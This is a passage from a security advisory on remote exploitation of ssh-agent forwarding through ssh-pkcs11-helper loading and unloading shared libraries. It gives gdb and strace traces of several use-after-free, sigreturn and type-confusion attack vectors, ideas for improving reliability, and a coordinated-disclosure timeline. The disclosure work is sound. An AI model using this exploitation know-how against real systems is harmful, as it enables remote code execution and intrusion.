0x7f2ba9d7c35b: pop %r13  
0x7f2ba9d7c35d: pop %r14  
0x7f2ba9d7c35f: pop %r15  
0x7f2ba9d7c361: ret   
...  
  
(gdb) stepi  
...  
0x00007f2ba9d7c361 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3  
  
(gdb) stepi  
0x00007fff7aae5e90 in ?? ()  
  
(gdb) x/10i 0x00007fff7aae5e90  
=> 0x7fff7aae5e90: add %dl,(%rax)  
0x7fff7aae5e92: and %eax,(%rax)  
0x7fff7aae5e94: add %al,(%rax)  
0x7fff7aae5e96: add %al,(%rax)  
0x7fff7aae5e98: add %ah,(%rax)  
0x7fff7aae5e9a: and %eax,(%rax)  
0x7fff7aae5e9c: add %al,(%rax)  
0x7fff7aae5e9e: add %al,(%rax)  
0x7fff7aae5ea0: call 0x7fff7aae7fbe  
...  
  
(gdb) stepi  
...  
0x00007fff7aae5ea0 in ?? ()  
  
(gdb) stepi  
0x00007fff7aae7fbe in ?? ()  
  
(gdb) x/10i 0x00007fff7aae7fbe  
=> 0x7fff7aae7fbe: nop  
0x7fff7aae7fbf: nop  
0x7fff7aae7fc0: nop  
0x7fff7aae7fc1: nop  
0x7fff7aae7fc2: nop  
0x7fff7aae7fc3: nop  
0x7fff7aae7fc4: nop  
0x7fff7aae7fc5: nop  
0x7fff7aae7fc6: nop  
0x7fff7aae7fc7: nop  
  
(gdb) !grep stack /proc/1225/maps  
7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0 [stack]  
  
  
========================================================================  
Callback function use-after-free  
========================================================================  
  
While analyzing the first results of our fuzzer, we noticed that some  
combinations of shared libraries jump to the stack although they do not  
register any signal handler or raise any signal; how is this possible?  
On investigation, we understood that:  
  
- a core library (for example, libgcrypt.so or libQt5Core.so) is loaded  
but not unloaded (munmap()ed) by dlclose(), because it is marked as  
"nodelete" by the loader;  
  
- a shared library (for example, libgnunetutil.so or gammaray_probe.so)  
is loaded and registers a userland callback function with the core  
library (via gcry_set_allocation_handler() or qtHookData[], for  
example), but it does not deregister this callback function when  
dlclose()d (i.e., when its code is munmap()ed);  
  
- another shared library is loaded (mmap()ed) and replaces the unmapped  
callback function's code with another piece of code (a useful gadget);  
  
- yet another shared library is loaded and calls one of the core  
library's functions, which in turn calls the unmapped callback  
function and therefore executes the replacement code (the useful  
gadget) instead, thus jumping to the stack.  
  
------------------------------------------------------------------------  
  
In the following example, one of the core library's functions is called  
at line 66254, the unmapped callback function is called at line 66288,  
the replacement code (gadget) is executed instead at line 66289, and  
jumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here  
because we did not make the stack executable):  
  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628979  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fff5000d9d0 in ?? ()  
  
(gdb) !grep stack /proc/3628979/maps  
7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0 [stack]  
  
(gdb) set record instruction-history-size 100  
(gdb) record instruction-history  
...  
66254 0x00007f9ae7d82df4: call 0x7f9ae7d70180 <gcry_mpi_new@plt>  
66255 0x00007f9ae7d70180 <gcry_mpi_new@plt+0>: endbr64   
66256 0x00007f9ae7d70184 <gcry_mpi_new@plt+4>: bnd jmp *0x7aa9d(%rip) # 0x7f9ae7deac28 <gcry_mpi_new@got.plt>  
66257 0x00007f9af801bbe0 <gcry_mpi_new+0>: endbr64   
66258 0x00007f9af801bbe4 <gcry_mpi_new+4>: push %r12  
66259 0x00007f9af801bbe6 <gcry_mpi_new+6>: push %rbx  
66260 0x00007f9af801bbe7 <gcry_mpi_new+7>: lea 0x3f(%rdi),%ebx  
66261 0x00007f9af801bbea <gcry_mpi_new+10>: mov $0x18,%edi  
66262 0x00007f9af801bbef <gcry_mpi_new+15>: shr $0x6,%ebx  
66263 0x00007f9af801bbf2 <gcry_mpi_new+18>: sub $0x8,%rsp  
66264 0x00007f9af801bbf6 <gcry_mpi_new+22>: call 0x7f9af801bb40  
66265 0x00007f9af801bb40: endbr64   
...  
66285 0x00007f9af809cc60: mov 0xa8311(%rip),%rax # 0x7f9af8144f78  
66286 0x00007f9af809cc67: test %rax,%rax  
66287 0x00007f9af809cc6a: jne 0x7f9af809cc44  
66288 0x00007f9af809cc44: call *%rax  
  
66289 0x00007f9afc27edc0: cmp %eax,%ebx  
66290 0x00007f9afc27edc2: jne 0x7f9afc27f150  
66291 0x00007f9afc27f150: mov %r14,%rsi  
66292 0x00007f9afc27f153: mov %r13,%rdi  
66293 0x00007f9afc27f156: call *%rbx  
  
------------------------------------------------------------------------  
  
In the following example, the unmapped callback function is called at  
line 87352, the replacement code (gadget) is executed instead at line  
87353, and jumps to the stack at line 87354:  
  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628993  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007ffe4fc16d10 in ?? ()  
  
(gdb) !grep stack /proc/3628993/maps  
7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0 [stack]  
  
(gdb) set record instruction-history-size 100  
(gdb) record instruction-history  
...  
87347 0x00007f35f8972d26 <_ZN7QObjectC2ER14QObjectPrivatePS_+182>: lea 0x26acd3(%rip),%rax # 0x7f35f8bdda00 <qtHookData>  
87348 0x00007f35f8972d2d <_ZN7QObjectC2ER14QObjectPrivatePS_+189>: mov 0x18(%rax),%rax  
87349 0x00007f35f8972d31 <_ZN7QObjectC2ER14QObjectPrivatePS_+193>: test %rax,%rax  
87350 0x00007f35f8972d34 <_ZN7QObjectC2ER14QObjectPrivatePS_+196>: jne 0x7f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>  
87351 0x00007f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>: mov %rbx,%rdi  
87352 0x00007f35f8972d8b <_ZN7QObjectC2ER14QObjectPrivatePS_+283>: call *%rax  
  
87353 0x00007f35fa445130 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80>: pop %rbp  
87354 0x00007f35fa445131 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81>: ret   
  
------------------------------------------------------------------------  
  
Note: several shared libraries that are installed by default on Ubuntu  
Desktop (for example, gkm-*-store-standalone.so) do not have constructor  
or destructor functions, but they are actual PKCS#11 providers, so some  
of their functions are explicitly called by ssh-pkcs11-helper, and these  
functions register a callback function with libgcrypt.so but they do not  
deregister it when dlclose()d (i.e., when munmap()ed), thus exhibiting  
the "Callback function use-after-free" behavior presented in this  
subsection.  
  
In the following example, one of libgcrypt.so's functions is called at  
line 79114, the unmapped callback function is called at line 79143, the  
replacement code (gadget) is executed instead at line 79144, and jumps  
to the stack at line 79157:  
  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3629085  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
  
Thread 1 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.  
0x00007fffb2735c48 in ?? ()  
  
(gdb) !grep stack /proc/3629085/maps  
7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0 [stack]  
  
(gdb) set record instruction-history-size 100  
(gdb) record instruction-history  
...  
79114 0x00007f8328147e3a: call 0x7f8328135500 <gcry_mpi_scan@plt>  
79115 0x00007f8328135500 <gcry_mpi_scan@plt+0>: endbr64   
79116 0x00007f8328135504 <gcry_mpi_scan@plt+4>: bnd jmp *0x7a8dd(%rip) # 0x7f83281afde8 <gcry_mpi_scan@got.plt>  
79117 0x00007f832e2b1220 <gcry_mpi_scan+0>: endbr64   
79118 0x00007f832e2b1224 <gcry_mpi_scan+4>: sub $0x8,%rsp  
79119 0x00007f832e2b1228 <gcry_mpi_scan+8>: call 0x7f832e32fbb0  
79120 0x00007f832e32fbb0: endbr64   
...  
79140 0x00007f832e2b436e: mov 0x129dc3(%rip),%rax # 0x7f832e3de138  
79141 0x00007f832e2b4375: test %rax,%rax  
79142 0x00007f832e2b4378: je 0x7f832e2b43b0  
79143 0x00007f832e2b437a: jmp *%rax  
  
79144 0x00007f832ed274f0: and $0x20,%al  
79145 0x00007f832ed274f2: mov %rax,0x50(%rsp)  
79146 0x00007f832ed274f7: mov 0x30(%rsp),%r13d  
79147 0x00007f832ed274fc: mov 0x58(%rsp),%r15  
79148 0x00007f832ed27501: mov %ebx,%ebp  
79149 0x00007f832ed27503: mov %r8d,%edx  
79150 0x00007f832ed27506: mov 0x50(%rsp),%rsi  
79151 0x00007f832ed2750b: mov 0x28(%rsp),%r14  
79152 0x00007f832ed27510: movslq 0x38(%r12),%rax  
79153 0x00007f832ed27515: sub $0x8000,%ebp  
79154 0x00007f832ed2751b: mov 0x54(%r12),%ecx  
79155 0x00007f832ed27520: add %rax,%r14  
79156 0x00007f832ed27523: mov %r14,%rdi  
79157 0x00007f832ed27526: call *%r15  
  
  
========================================================================  
Return from syscall use-after-free  
========================================================================  
  
While analyzing the strace logs of the dlopen() and dlclose() of every  
shared library in /usr/lib*, we spotted an unusual SIGSEGV:  
  
- a shared library is loaded, and its constructor function starts a  
thread that sleeps for 10 seconds in kernel-land:  
  
------------------------------------------------------------------------  
3631347 openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so", O_RDONLY|O_CLOEXEC) = 3  
...  
3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000  
3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000  
3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f5f3c400000  
3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000  
3631347 close(3) = 0  
...  
3631347 clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910, parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00, tls=0x7f5f3bd70640} => {parent_tid=[3631372]}, 88) = 3631372  
...  
3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0}, <unfinished ...>  
------------------------------------------------------------------------  
  
- meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared  
library (because it is not an actual PKCS#11 provider) and therefore  
munmap()s the code where the sleeping thread should return to after  
its sleep in kernel-land:  
  
------------------------------------------------------------------------  
3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3  
3631347 connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = 0  
3631347 sendto(3, "<35>Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error: dlsym(C_GetFunctionList) failed: /usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList", 190, MSG_NOSIGNAL, NULL, 0) = 190  
3631347 close(3) = 0  
3631347 munmap(0x7f5f3c3fb000, 33296) = 0  
------------------------------------------------------------------------  
  
- the sleeping thread returns from kernel-land and crashes with a  
SIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:  
  
------------------------------------------------------------------------  
3631372 <... clock_nanosleep resumed>0x7f5f3bd6fde0) = 0  
3631372 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} ---  
------------------------------------------------------------------------  
  
Of course, we can request ssh-pkcs11-helper to load (mmap()) a  
"nodelete" library before the sleeping thread returns from kernel-land,  
thus replacing the unmapped userland code with another piece of code (a  
hopefully useful gadget). In the following example, the sleeping thread  
returns from kernel-land after line 214, executes the replacement code  
(gadget) at line 256, and jumps to the stack at line 1305:  
  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3631531  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
...  
Thread 2 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.  
[Switching to Thread 0x7f4603960640 (LWP 3631561)]  
0x00007ffe2196f180 in ?? ()  
  
(gdb) !grep stack /proc/3631531/maps  
7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0 [stack]  
  
(gdb) set record instruction-history-size unlimited  
(gdb) record instruction-history  
...  
214 0x00007f4604b71866 <__GI___clock_nanosleep+198>: syscall   
...  
240 0x00007f4604b71831 <__GI___clock_nanosleep+145>: ret   
...  
244 0x00007f4604b766ef <__GI___nanosleep+31>: ret   
...  
255 0x00007f4604b7663d <__sleep+93>: ret   
  
256 0x00007f46050fecff: jmp 0x7f4604662e54 <__ieee754_j1f128+2276>  
257 0x00007f4604662e54 <__ieee754_j1f128+2276>: movq 0x60(%rsp),%mm3  
...  
1304 0x00007f460466285b <__ieee754_j1f128+747>: add $0xc8,%rsp  
1305 0x00007f4604662862 <__ieee754_j1f128+754>: ret   
  
  
========================================================================  
Sigaltstack use-after-free  
========================================================================  
  
>From time to time, we noticed the following warning in the dmesg of our  
fuzzing laptop:  
  
------------------------------------------------------------------------  
[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack  
------------------------------------------------------------------------  
  
On investigation, we discovered that at least one shared library  
(libgnatcoll_postgres.so) calls sigaltstack() to register an alternate  
signal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and  
then munmap()s this signal stack without deregistering it (SS_DISABLE)  
when dlclose()d. Consequently, we implemented and tested a different  
attack idea:  
  
- we randomly load zero or more shared libraries that permanently alter  
the mmap layout;  
  
- we load libgnatcoll_postgres.so, which registers an alternate signal  
stack and then munmap()s it without deregistering it;  
  
- we randomly load zero or more shared libraries that alter the mmap  
layout (again), and hopefully replace the unmapped signal stack with  
another writable memory mapping (for example, a thread stack, or a  
.data or .bss segment);  
  
- we randomly load one shared library that registers an SA_ONSTACK  
signal handler but does not munmap() its code when dlclose()d (unlike  
our original "Signal handler use-after-free" attack);  
  
- we randomly load one shared library that raises this signal and  
therefore calls the SA_ONSTACK signal handler, thus overwriting the  
replacement memory mapping with stack frames from the signal handler;  
  
- we randomly load one or more shared libraries that hopefully use the  
overwritten contents of the replacement memory mapping.  
  
Although we successfully found various combinations of shared libraries  
that overwrite a .data or .bss segment with a stack frame from a signal  
handler, we failed to overwrite a useful memory mapping with useful data  
(e.g., we failed to magically jump to the stack); for this attack to  
work, more research and a finer-grained approach might be required.  
  
  
========================================================================  
Sigreturn to arbitrary instruction pointer  
========================================================================  
  
Astonishingly, numerous combinations of shared libraries crash because  
they try to execute code at 0xcccccccccccccccc: a direct control of the  
instruction pointer (RIP), because these 0xcc bytes come from the stack  
buffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc  
bytes.  
  
Initially, we got very excited by this new attack vector, because we  
thought that a gadget of the form "add rsp, N; ret" was executed, thus  
moving the stack pointer (RSP) into our 0xcc-filled stack buffer and  
popping RIP from there. Unfortunately, the reality is more complex:  
  
- a shared library raises a signal (a SIGSEGV in the example below, at  
line 134110) and, in consequence of a "Signal handler use-after-free",  
a replacement gadget of the form "ret N" is executed instead of the  
signal handler (at line 134111);  
  
- exactly as the real signal handler would, the replacement gadget  
returns to the glibc's restore_rt() function (at line 134112), which  
in turn calls the kernel's rt_sigreturn() function (at line 134113);  
  
- however, before the kernel's rt_sigreturn() function is called, the  
replacement gadget "ret N" moves RSP into our 0xcc-filled stack buffer  
and as a result, the kernel's rt_sigreturn() function restores all  
userland registers (including RIP and RSP) from there;  
  
------------------------------------------------------------------------  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3633914  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fcd468671b1 in xtables_register_target () from /lib/x86_64-linux-gnu/libxtables.so.12  
  
(gdb) x/i 0x00007fcd468671b1  
=> 0x7fcd468671b1 <xtables_register_target+209>: movzbl 0x18(%rax),%eax  
  
(gdb) info registers  
rax 0x0 0  
...  
  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0xcccccccccccccccc in ?? ()  
  
(gdb) set record instruction-history-size 100  
(gdb) record instruction-history  
...  
134106 0x00007fcd4686719e <xtables_register_target+190>: mov 0x6e1b(%rip),%rax # 0x7fcd4686dfc0  
134107 0x00007fcd468671a5 <xtables_register_target+197>: movzwl 0x22(%rbx),%edx  
134108 0x00007fcd468671a9 <xtables_register_target+201>: mov (%rax),%rax  
134109 0x00007fcd468671ac <xtables_register_target+204>: mov %dx,0x6(%rsp)  
134110 [disabled]  
134111 0x00007fcd48e434a0: ret $0x1f0f  
134112 0x00007fcd49655520 <__restore_rt+0>: mov $0xf,%rax  
134113 0x00007fcd49655527 <__restore_rt+7>: syscall   
  
(gdb) info registers  
rax 0x0 0  
rbx 0xcccccccccccccccc -3689348814741910324  
rcx 0xcccccccccccccccc -3689348814741910324  
rdx 0xcccccccccccccccc -3689348814741910324  
rsi 0xcccccccccccccccc -3689348814741910324  
rdi 0xcccccccccccccccc -3689348814741910324  
rbp 0xcccccccccccccccc 0xcccccccccccccccc  
rsp 0xcccccccccccccccc 0xcccccccccccccccc  
r8 0xcccccccccccccccc -3689348814741910324  
r9 0xcccccccccccccccc -3689348814741910324  
r10 0xcccccccccccccccc -3689348814741910324  
r11 0xcccccccccccccccc -3689348814741910324  
r12 0xcccccccccccccccc -3689348814741910324  
r13 0xcccccccccccccccc -3689348814741910324  
r14 0xcccccccccccccccc -3689348814741910324  
r15 0xcccccccccccccccc -3689348814741910324  
rip 0xcccccccccccccccc 0xcccccccccccccccc  
------------------------------------------------------------------------  
  
Although we directly control all of the userland registers, we failed to  
transform this attack vector into a one-shot remote exploit, because RSP  
(which was conveniently pointing into our 0xcc-filled stack buffer) gets  
overwritten, and because we were unable to leak any information from  
ssh-pkcs11-helper (to defeat ASLR).  
  
Partially overwriting a pointer that is left over in ssh-pkcs11-helper's  
stack buffer, and that is later used by rt_sigreturn() to restore a  
userland register, might be an interesting idea that we have not  
explored yet.  
  
  
========================================================================  
_Unwind_Context type-confusion  
========================================================================  
  
This attack vector was the most puzzling of our discoveries: from time  
to time, some combinations of shared libraries jumped to the stack, but  
evidently not as a result of a signal handler, callback function, or  
return from syscall use-after-free. Eventually, we determined the  
sequence of events that led to these stack jumps:  
  
- some shared libraries load LLVM's libunwind.so as a "nodelete" library  
(i.e., it is never unloaded, even after dlclose());  
  
- some shared libraries throw a C++ exception, which loads GCC's  
libgcc_s.so and calls the _Unwind_GetCFA() function (at line 57295 in  
the example below);  
  
- however, GCC's libgcc_s.so mistakenly calls LLVM's _Unwind_GetCFA()  
(at line 57298) instead of GCC's _Unwind_GetCFA() (because LLVM's  
libunwind.so was loaded first), and passes a pointer to GCC's struct  
_Unwind_Context to this function (instead of a pointer to LLVM's  
struct _Unwind_Context, which is a different type of structure);  
  
- LLVM's _Unwind_GetCFA() then calls its unw_get_reg() function (at line  
57303), which in turn calls a function pointer (at line 57311) that is  
a member of LLVM's struct _Unwind_Context, but that happens to be a  
stack pointer in GCC's struct _Unwind_Context;  
  
------------------------------------------------------------------------  
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3635541  
...  
(gdb) record btrace  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007ffcf5e9be10 in ?? ()  
  
(gdb) !grep stack /proc/3635541/maps  
7ffcf5e82000-7ffcf5ea3000 rw-p 00000000 00:00 0 [stack]  
  
(gdb) set record instruction-history-size 100  
(gdb) record instruction-history  
...  
57295 0x00007f7c8eaaccf1: call 0x7f7c8ea99470 <_Unwind_GetCFA@plt>  
  
57296 0x00007f7c8ea99470 <_Unwind_GetCFA@plt+0>: endbr64   
57297 0x00007f7c8ea99474 <_Unwind_GetCFA@plt+4>: bnd jmp *0x1bc2d(%rip) # 0x7f7c8eab50a8 <_Unwind_GetCFA@got.plt>  
  
57298 0x00007f7c8edce920 <_Unwind_GetCFA+0>: sub $0x18,%rsp  
57299 0x00007f7c8edce924 <_Unwind_GetCFA+4>: mov %fs:0x28,%rax  
57300 0x00007f7c8edce92d <_Unwind_GetCFA+13>: mov %rax,0x10(%rsp)  
57301 0x00007f7c8edce932 <_Unwind_GetCFA+18>: lea 0x8(%rsp),%rdx  
57302 0x00007f7c8edce937 <_Unwind_GetCFA+23>: mov $0xfffffffe,%esi  
57303 0x00007f7c8edce93c <_Unwind_GetCFA+28>: call 0x7f7c8edca6b0 <unw_get_reg>  
  
57304 0x00007f7c8edca6b0 <unw_get_reg+0>: push %rbp  
57305 0x00007f7c8edca6b1 <unw_get_reg+1>: push %r14  
57306 0x00007f7c8edca6b3 <unw_get_reg+3>: push %rbx  
57307 0x00007f7c8edca6b4 <unw_get_reg+4>: mov %rdx,%r14  
57308 0x00007f7c8edca6b7 <unw_get_reg+7>: mov %esi,%ebp  
57309 0x00007f7c8edca6b9 <unw_get_reg+9>: mov %rdi,%rbx  
57310 0x00007f7c8edca6bc <unw_get_reg+12>: mov (%rdi),%rax  
57311 0x00007f7c8edca6bf <unw_get_reg+15>: call *0x10(%rax)  
  
(gdb) !grep 7f7c8ea /proc/3635541/maps  
7f7c8ea99000-7f7c8eab0000 r-xp 00003000 08:03 8788336 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1  
  
(gdb) !grep 7f7c8ed /proc/3635541/maps  
7f7c8edc9000-7f7c8edd1000 r-xp 00000000 08:03 11148811 /usr/lib/llvm-14/lib/libunwind.so.1.0  
------------------------------------------------------------------------  
  
  
========================================================================  
RCE in library constructor  
========================================================================  
  
As a last and extreme example of a remote attack against ssh-agent  
forwarding, we noticed that one shared library's constructor function  
(which can be invoked by a remote attacker via an ssh-agent forwarding)  
starts a server thread that listens on a TCP port, and we discovered a  
remotely exploitable vulnerability (a heap-based buffer overflow) in  
this server's implementation.  
  
The unusual malloc exploitation technique that we used to remotely  
exploit this vulnerability is so interesting (it is reliable, one-shot,  
and works against the latest glibc versions, despite all the modern  
protections) that we decided to publish it in a separate advisory:  
  
https://www.qualys.com/2023/06/06/renderdoc/renderdoc.txt  
  
This last and extreme attack vector against ssh-agent also underlines  
the central point of this advisory: many shared libraries are simply not  
safe to be loaded (and unloaded) in a security-sensitive program such as  
ssh-agent.  
  
  
========================================================================  
Discussion  
========================================================================  
  
We believe that we have not exploited the full potential of this  
"dlopen() then dlclose()" primitive:  
  
- we have only investigated Ubuntu Desktop 22.04 and 21.10, but other  
versions, distributions, or operating systems might be hiding further  
surprises;  
  
- our rudimentary fuzzer can certainly be greatly improved, and has  
definitely not tried all the combinations of shared libraries and side  
effects;  
  
- we have identified seven attack vectors against ssh-agent (described  
in the "Results" section), but we have not analyzed in detail all the  
results of our fuzzer;  
  
- we have not fully explored various aspects of these attack vectors:  
  
- it might be possible to reliably exploit the "Sigaltstack  
use-after-free" (by carefully overwriting the .data or .bss segment  
of a shared library) or the "Sigreturn to arbitrary instruction  
pointer" (by partially overwriting a leftover pointer in  
ssh-pkcs11-helper's stack);  
  
- we currently store our shellcode in ssh-pkcs11-helper's main() stack  
buffer only, but it might be possible to store shellcode in other  
stack buffers as well, or somehow spray the stack with shellcode,  
which would dramatically increase our chances of jumping into our  
shellcode;  
  
for example, we tried to spray the stack with shellcode by  
interrupting a memcpy() of controlled data with a signal handler,  
thereby spilling controlled YMM registers to the stack (inspired by  
https://bugs.chromium.org/p/project-zero/issues/detail?id=2266), but  
we failed because we can memcpy() only ~10KB of data, and because we  
cannot remotely use tricks such as inotify or sched*() to precisely  
time this race;  
  
- it might be possible to control the mmap layout of ssh-pkcs11-helper  
with page precision (which would allow us to precisely control the  
gadget that replaces the unmapped signal handler, callback function,  
or return from syscall), but we failed to find large malloc()ations  
(which are mmap()ed) in ssh-pkcs11-helper (the only way we found to  
influence the mmap layout is to load and unload shared libraries, as  
mentioned in Step 4a/ of the "Experiments" section);  
  
- instead of replacing the unmapped signal handler or callback  
function (or return from syscall) with a gadget from another shared  
library, it is perfectly possible to replace it with an executable  
thread stack (made executable by loading an "execstack" library),  
but we have failed so far to control the contents of such a thread  
stack.  
  
  
========================================================================  
Acknowledgments  
========================================================================  
  
We thank the OpenSSH developers, and Damien Miller in particular, for  
their outstanding work on this vulnerability and on OpenSSH in general.  
We also thank Mitre's CVE Assignment Team for their quick response.  
Finally, we dedicate this advisory to the Midnight Fox.  
  
  
========================================================================  
Timeline  
========================================================================  
  
2023-07-06: We sent a draft of our advisory and a preliminary patch to  
the OpenSSH developers.  
  
2023-07-07: The OpenSSH developers replied and sent us a more complete  
set of patches.  
  
2023-07-09: We sent feedback about these patches to the OpenSSH  
developers.  
  
2023-07-11: The OpenSSH developers sent us a complete set of patches,  
and we sent them feedback about these patches.  
  
2023-07-14: The OpenSSH developers informed us that "we're aiming to  
make a security-only release ... on July 19th."  
  
2023-07-19: Coordinated release.